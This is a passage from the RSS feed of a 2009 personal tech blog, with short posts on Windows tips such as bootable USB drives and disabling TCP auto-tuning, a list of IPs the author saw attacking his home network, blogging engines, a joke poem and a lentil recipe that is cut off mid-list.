	&lt;span&gt;
		Microsoft Web App Gallery
	&lt;/span&gt;
&lt;/a&gt; – cool, open source tools build on MS stack.&lt;/li&gt;
&lt;li&gt;Resetting your Admin pwd in Vista – quite scary actually. (via &lt;a
	
		href = &#34;http://blog.thedogmatix.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The Dogmatix
	&lt;/span&gt;
&lt;/a&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5282&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Creating a bootable USB drive for Windows</title>
      <link>/post/2009/03/creating-a-bootable-usb-drive-for-windows/</link>
      <pubDate>Tue, 24 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/creating-a-bootable-usb-drive-for-windows/</guid>
      <description>&lt;p&gt;Dave has an &lt;a
	
		href = &#34;http://blogs.msdn.com/dglover/archive/2008/09/11/creating-a-bootable-usb-windows-vista-drive.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		excellent post
	&lt;/span&gt;
&lt;/a&gt; on how to create a bootable USB drive for installing Vista or maybe Win 7. You could also use WinRAR to extract your ISO directly on to the flash drive (after formatting it as NTFS of course). A couple of points to remember though:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make sure you use a “flash” drive (or USB stick) and not a USB HDD drive as some of those have issues with this.&lt;/li&gt;
&lt;li&gt;Check different USB ports – all of them may not allow to boot up.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5280&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Network Attacks</title>
      <link>/post/2009/03/network-attacks/</link>
      <pubDate>Tue, 24 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/network-attacks/</guid>
      <description>&lt;p&gt;I am getting DOS attacks from the following IPs at home. Some of these are &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Honeypot_%28computing%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		honeypots
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://projecthoneypot.org/ip_89.139.84.130&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		89.139.84.130
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;86.151.215.171&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And Port Scans from this guy/gal (apparently in China)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.machineip.com/locate/61.139.105.163&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		61.139.105.163
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5281&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WHS now on MSDN</title>
      <link>/post/2009/03/whs-now-on-msdn/</link>
      <pubDate>Tue, 24 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/whs-now-on-msdn/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/windows/products/winfamily/windowshomeserver/default.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Home Server
	&lt;/span&gt;
&lt;/a&gt; (the amazing little box), is finally available on MSDN. I had bought an OEM license soon after it had come out and have been using it for some time at home. This can only be good and allow a wider set of adoption. If you have not used it – I would highly recommend that you do. Here is the screenshot from MSDN:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google Street View in UK</title>
      <link>/post/2009/03/google-street-view-in-uk/</link>
      <pubDate>Thu, 19 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/google-street-view-in-uk/</guid>
      <description>&lt;p&gt;After legal and environmental issues, finally Google has &lt;a
	
		href = &#34;http://www.guardian.co.uk/business/2009/mar/19/google-street-view-uk&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		launched street view for UK
	&lt;/span&gt;
&lt;/a&gt;! There are 25 cities covered only at this point; I know both London and Oxford are covered.&lt;/p&gt;
&lt;p&gt;You can check out the &lt;a
	
		href = &#34;http://bit.ly/mkJRB&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Computing Lab at Oxford
	&lt;/span&gt;
&lt;/a&gt; (where I study) or &lt;a
	
		href = &#34;http://bit.ly/R9Tf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Avanade’s offices in London
	&lt;/span&gt;
&lt;/a&gt; (where I work).&lt;/p&gt;
&lt;p&gt;{via &lt;a
	
		href = &#34;http://chillijam.co.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mark
	&lt;/span&gt;
&lt;/a&gt;}&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5277&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Win 7 and loading ISO’s</title>
      <link>/post/2009/03/win-7-and-loading-isos/</link>
      <pubDate>Thu, 19 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/win-7-and-loading-isos/</guid>
      <description>&lt;p&gt;If you are on Win 7 (any build) you will find quickly that Daemon tools don’t work on that. Even if it was working, I would in any case recommend ditching Daemon tools and recommend using &lt;a
	
		href = &#34;http://www.slysoft.com/en/download.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Virtual Clone Drive
	&lt;/span&gt;
&lt;/a&gt; which not only is free but also works like a champ. I use it on Vista as well.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5278&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>A homage to Farts</title>
      <link>/post/2009/03/a-homage-to-farts/</link>
      <pubDate>Tue, 17 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/a-homage-to-farts/</guid>
      <description>&lt;p&gt;A fart it is a pleasant thing,&lt;br&gt;
It gives the belly ease,&lt;br&gt;
It warms the bed in winter,&lt;br&gt;
And suffocates the fleas.&lt;/p&gt;
&lt;p&gt;A fart can be quiet,&lt;br&gt;
A fart can be loud,&lt;br&gt;
And some often leave&lt;br&gt;
A powerful, poisonous cloud.&lt;/p&gt;
&lt;p&gt;A fart can be short,&lt;br&gt;
Or a fart can be long,&lt;br&gt;
Some farts have been known&lt;br&gt;
To sound like a song&amp;hellip;.&lt;/p&gt;
&lt;p&gt;A fart can create&lt;br&gt;
A  curious medley,&lt;br&gt;
A fart can be harmless,&lt;br&gt;
Or silent , and deadly.&lt;/p&gt;
&lt;p&gt;A fart might not smell,&lt;br&gt;
While others are vile,&lt;br&gt;
A fart may pass quickly,&lt;br&gt;
Or linger a while&amp;hellip;&amp;hellip;&lt;/p&gt;
&lt;p&gt;A fart can occur&lt;br&gt;
In a number of places,&lt;br&gt;
And leave everyone there,&lt;br&gt;
With strange looks on their faces.&lt;/p&gt;
&lt;p&gt;From wide-open prairie,&lt;br&gt;
To small elevators,&lt;br&gt;
A fart will find all of us&lt;br&gt;
Sooner or later.&lt;/p&gt;
&lt;p&gt;That farts are all bad,&lt;br&gt;
Is simply not true-
We must never forget&amp;hellip;.&lt;br&gt;
Sweet old farts like you!&lt;/p&gt;
&lt;p&gt;Poetry @ its finest. &amp;#x1f603;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Disable Auto-tuning on Windows</title>
      <link>/post/2009/03/disable-auto-tuning-on-windows/</link>
      <pubDate>Tue, 17 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/disable-auto-tuning-on-windows/</guid>
      <description>&lt;p&gt;Receive Window Auto-Tuning is a feature in this version of Windows that improves networking performance when you are using newer networking hardware, but the feature might cause problems with older networking hardware. Sometimes, disabling Auto-Tuning might solve your problem.&lt;/p&gt;
&lt;p&gt;To disable Auto-Tuning:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Click the Start button &lt;p&gt;

    &lt;img src=&#34;images/StartButton_16x16.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;, and then, in the Search box, type &lt;code&gt;cmd&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Press CTRL+SHIFT+ENTER to run the program as an administrator. &lt;p&gt;

    &lt;img src=&#34;images/SecurityBadge_16x16.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt; If you are prompted for an administrator password or confirmation, type the password or provide confirmation.&lt;/li&gt;
&lt;li&gt;At the command prompt, type &lt;code&gt;netsh int tcp set global autotuninglevel=disable&lt;/code&gt;, and then press Enter.&lt;/li&gt;
&lt;li&gt;When the process has finished, restart your computer. If this procedure does not solve the problem, you can turn Auto-Tuning back on by repeating steps a and b of this procedure, typing &lt;code&gt;netsh int tcp set global autotuninglevel=normal&lt;/code&gt;, and then pressing Enter.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Vista Tip – launching apps as admin</title>
      <link>/post/2009/03/vista-tip-launching-apps-as-admin/</link>
      <pubDate>Tue, 17 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/vista-tip-launching-apps-as-admin/</guid>
      <description>&lt;p&gt;This is probably not new, but I was not aware of it until recently. To launch an application as an administrator you press CTRL + SHIFT + ENTER when using the Search box – instead of just Enter. Pretty cool if you are a keyb guy/gal.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5274&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MIT’s Wearable 6th Sense</title>
      <link>/post/2009/03/mits-wearable-6th-sense/</link>
      <pubDate>Thu, 12 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/mits-wearable-6th-sense/</guid>
      <description>&lt;p&gt;MIT’s Media Lab has a prototype of a &lt;a
	
		href = &#34;http://www.ted.com/index.php/talks/pattie_maes_demos_the_sixth_sense.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		wearable 6th sense
	&lt;/span&gt;
&lt;/a&gt; - pretty damn cool – initially seems to get you thinking “what is the point?”; but sit it out and it will all make sense! Of course the whole “6th sense” is glamorizing it a bit, it is more JIT info.&lt;/p&gt;
&lt;p&gt;I wonder what happens if your phone is not in a 3G/HSDPA coverage and what the battery drain on the phone is with the data connection always on and how big is your phone bill (most people don’t have unlimited data options on their mobile).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5273&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Am tweeting now</title>
      <link>/post/2009/03/am-tweeting-now/</link>
      <pubDate>Wed, 11 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/am-tweeting-now/</guid>
      <description>&lt;p&gt;Although I have had an account for some time on Twitter, I just have not been bothered until now. Anyways, that is changing – &lt;a
	
		href = &#34;http://twitter.com/bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		am tweeting now
	&lt;/span&gt;
&lt;/a&gt;. You can follow me there if you choose to – though not sure if I am going to make any more sense there than here. &lt;p&gt;

    &lt;img src=&#34;images/emotion-5.gif&#34; alt=&#34;Wink&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5272&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Avanade Surface Demo</title>
      <link>/post/2009/03/avanade-surface-demo/</link>
      <pubDate>Mon, 09 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/avanade-surface-demo/</guid>
      <description>&lt;p&gt;This is a &lt;a
	
		href = &#34;http://www.youtube.com/watch?v=ackjXoJx6T8&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		cool Surface demo
	&lt;/span&gt;
&lt;/a&gt; build my a few colleagues which showcases a hospitality demo. We build this and got it up and running out of our Avanade London office. :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5271&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What Blogging Engine (other than CS)?</title>
      <link>/post/2009/03/what-blogging-engine-other-than-cs/</link>
      <pubDate>Tue, 03 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/what-blogging-engine-other-than-cs/</guid>
      <description>&lt;p&gt;I am using Community Server 2007 for my blog. I originally started in .Text (which some of you ‘old timers’ might remember as being open source) and had modified the code a fair amount to something I wanted. Over the years stuck with that and then CS 1.0, 2.0, etc as .Text was ‘morphed’ into Community Server (CS) from Telligent.&lt;/p&gt;
&lt;p&gt;While overall I have been happy with CS 2007 off late I have been quite put off with it due to a few reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I liked the open source elements and CS now is just too commercialized for my taste.&lt;/li&gt;
&lt;li&gt;Even though I have configured comments and feedback – all of that is broken and I just can’t seem to fix it (part of the reason is not having too much time to dig into a lot of details).&lt;/li&gt;
&lt;li&gt;Upgrade to CS 2008 fails – miserably – many moons ago I spend a whole day trying to get this upgraded and it just did not work. No one on Telligent’s forum could successfully point to what is wrong. I rolled back to CS 2007.&lt;/li&gt;
&lt;li&gt;Upgrades other than not working – generally are quite painful.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I am ready to move to something else – but there are a few things that need to be supported:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I host my own domain (stating the obvious if you are reading this), etc so need this running in something I control – or in other words hosted blogs (e.g. MSN, Google’s, etc.) are out. I already have IIS and SQL Server database.&lt;/li&gt;
&lt;li&gt;Need to be able to move my existing posts from CS 2007 to whatever I move to.&lt;/li&gt;
&lt;li&gt;Preferably: Support multiple blogs – though right now it’s only one, but some off the family members might want one later.&lt;/li&gt;
&lt;li&gt;Need to support XML-RPC (a.k.a MetaWeblog API)&lt;/li&gt;
&lt;li&gt;Ability to post code and script snippets – am ignoring the XRC issues obviously. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I have looked at &lt;a
	
		href = &#34;http://www.dotnetblogengine.net/page/features.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		BlogEngine.NET
	&lt;/span&gt;
&lt;/a&gt; and that does look quite promising. Has anyone used that? What about the other things out there such as Wordpress and Movable Type (don’t know much about them)? There are &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Weblog_software&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		quite a few listed here
	&lt;/span&gt;
&lt;/a&gt; but I am not sure which one is fit for my needs..&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5270&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>U2 and BCC</title>
      <link>/post/2009/03/u2-and-bcc/</link>
      <pubDate>Sun, 01 Mar 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/03/u2-and-bcc/</guid>
      <description>&lt;p&gt;The &lt;a
	
		href = &#34;http://www.bbc.co.uk/musicevents/u2/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		BCC hosted a “secret” and surprise gig for U2
	&lt;/span&gt;
&lt;/a&gt; where they played on the roof of the BBC Broadcasting House on Regents Street in London. I heard about it in the news and then watched it via the &lt;a
	
		href = &#34;http://www.lordpercy.com/interactive_tv_explained.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Red Button
	&lt;/span&gt;
&lt;/a&gt;. It was only a few songs but it was awesome. Of course, you can catch it again on &lt;a
	
		href = &#34;http://www.bbc.co.uk/iplayer/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		iPlayer
	&lt;/span&gt;
&lt;/a&gt; (for those of you in the UK). Those who cannot get to iPlayer can watch the &lt;a
	
		href = &#34;http://www.youtube.com/results?search_type=&amp;amp;search_query=BBC&amp;#43;Broadcasting&amp;#43;House&amp;amp;aq=f&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		whole thing on YouTube
	&lt;/span&gt;
&lt;/a&gt;. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5269&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Finding out which DC you logged on to?</title>
      <link>/post/2009/02/finding-out-which-dc-you-logged-on-to/</link>
      <pubDate>Sat, 21 Feb 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/02/finding-out-which-dc-you-logged-on-to/</guid>
      <description>&lt;p&gt;If for some reason you are curious to know which DC (Domain Controller) you logged on to then all you need to do is use the LOGONSERVER environment variable. Of course this means your machine is already part of a domain.&lt;/p&gt;
&lt;p&gt;The easiest way to see this will be to type the following in a cmd prompt:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;echo %logonserver%&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5266&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>That Cern think explained</title>
      <link>/post/2009/02/that-cern-think-explained/</link>
      <pubDate>Sat, 21 Feb 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/02/that-cern-think-explained/</guid>
      <description>&lt;p&gt;I guess since &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2008/09/09/does-the-world-end-today.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		we are all alive
	&lt;/span&gt;
&lt;/a&gt;, it will be good to understand &lt;a
	
		href = &#34;http://image.guardian.co.uk/sys-files/Guardian/documents/2008/09/10/cern_G2_cover.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		what that Cern thing really is
	&lt;/span&gt;
&lt;/a&gt; (pdf). 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #17</title>
      <link>/post/2009/02/interesting-find-17/</link>
      <pubDate>Mon, 16 Feb 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/02/interesting-find-17/</guid>
      <description>&lt;p&gt;Been missing in action for a while – been extremely busy.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://www.getdropbox.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dropbox
	&lt;/span&gt;
&lt;/a&gt; – store, sync and share your files online via Amazon’s S3.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://oauth.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OAuth
	&lt;/span&gt;
&lt;/a&gt; – open protocol to allow secure API authorization in a web/fat clients. About time we got the Facebooks and Twitters of the world start implementing this (more details on that another time).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.hanselman.com/blog/ScottHanselmans2007UltimateDeveloperAndPowerUsersToolListForWindows.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Scott’s ultimate developer and power user tools
	&lt;/span&gt;
&lt;/a&gt; – the name says it all - very cool.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/tag/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft Tags
	&lt;/span&gt;
&lt;/a&gt; - transform physical media (ads, billboards,product packages, information signs, in-store merchandising, video images, etc.) - into live links for accessing information and entertainment online.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.cucku.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cucku
	&lt;/span&gt;
&lt;/a&gt; – another service which backs up your data to the cloud. I personally use &lt;a
	
		href = &#34;http://www.microsoft.com/windows/products/winfamily/windowshomeserver/default.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WHS
	&lt;/span&gt;
&lt;/a&gt; + &lt;a
	
		href = &#34;http://aws.amazon.com/s3/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Amazon’s S3
	&lt;/span&gt;
&lt;/a&gt; – got about 40 GB on it now. 😄&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://app-store.appspot.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		App Store
	&lt;/span&gt;
&lt;/a&gt; – view Apple’s app store in your browser instead of iTunes.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.quidco.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Quidco
	&lt;/span&gt;
&lt;/a&gt; – an ad-free cash-back cooperative that passes on all referral commissions in exchange for keeping £5 a year as an admin fee. Seems to be quite cool.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.mycloudbuddy.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CloudBuddy
	&lt;/span&gt;
&lt;/a&gt; – extend you desktop to the cloud (Amazon S3) – in addition to documents you can also use this for Outlook including your calendar, tasks, etc.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://stackoverflow.com/questions/262657/the-coolest-server-names%20&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cool Machine Names
	&lt;/span&gt;
&lt;/a&gt; – I will certainly be looking at this whenever I get my next machine.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.gscreencorp.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		gScreen
	&lt;/span&gt;
&lt;/a&gt; – dual screen laptops; it sure is cool, but is too heavy to be a “portable”. Maybe vaporware as well? If you are skeptical like I am, maybe &lt;a
	
		href = &#34;http://www.maxivista.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MaxiVista
	&lt;/span&gt;
&lt;/a&gt; is the way to go?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5263&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>I am Scrobbling</title>
      <link>/post/2009/02/i-am-scrobbling/</link>
      <pubDate>Tue, 10 Feb 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/02/i-am-scrobbling/</guid>
      <description>&lt;p&gt;I love music – not only it enriches my life and helps me relax (especially when I am cooking), but I can think clearly and much quickly (for reasons I cannot frankly explain). So, finally I am &lt;a
	
		href = &#34;http://www.last.fm/user/bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		scrobbling on last.fm
	&lt;/span&gt;
&lt;/a&gt; – feel free to reach out to me there.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5262&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Spiced Red Dal</title>
      <link>/post/2009/02/spiced-red-dal/</link>
      <pubDate>Sun, 08 Feb 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/02/spiced-red-dal/</guid>
      <description>&lt;p&gt;A Dal (Lentil) is quite a staple food at home – not only is it nutritious and health and full of protein, both I and Meenakshi love it. Now the way we usually make it at home is a little different that the &lt;a
	
		href = &#34;http://www.guardian.co.uk/lifeandstyle/2009/feb/07/vegetarian-recipe-spiced-lentils-yogurt&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		version I came across
	&lt;/span&gt;
&lt;/a&gt; from &lt;a
	
		href = &#34;http://www.ottolenghi.co.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Yotam Ottolenghi
	&lt;/span&gt;
&lt;/a&gt;. I tried it and was excellent – different from what I am use to cooking.&lt;/p&gt;
&lt;p&gt;The ingredients you need are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;200g split red lentils (Dhuli Masoor dal in Hindi)&lt;/li&gt;
&lt;li&gt;1 bunch fresh coriander&lt;/li&gt;
&lt;li&gt;1 small onion, peeled&lt;/li&gt;
&lt;li&gt;40g ginger, peeled&lt;/li&gt;
&lt;li&gt;3 cloves garlic, peeled&lt;/li&gt;
&lt;li&gt;1 mild green chilli&lt;/li&gt;
&lt;li&gt;1½ tsp black mustard seeds (which is called either &lt;a
	
		href = &#34;http://www.indianfoodforever.com/mustard.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Rai or Sarsu
	&lt;/span&gt;
&lt;/a&gt; in Hindi)&lt;/li&gt;
&lt;li&gt;4 tbsp sunflower oil&lt;/li&gt;
&lt;li&gt;1½ tsp ground coriander (&lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Coriander&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dhania
	&lt;/span&gt;
&lt;/a&gt; in Hindi)&lt;/li&gt;
&lt;li&gt;1 tsp ground cumin (&lt;a
	
		href = &#34;http://www.pataks.co.uk/cooking/spices/cumin.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jeera
	&lt;/span&gt;
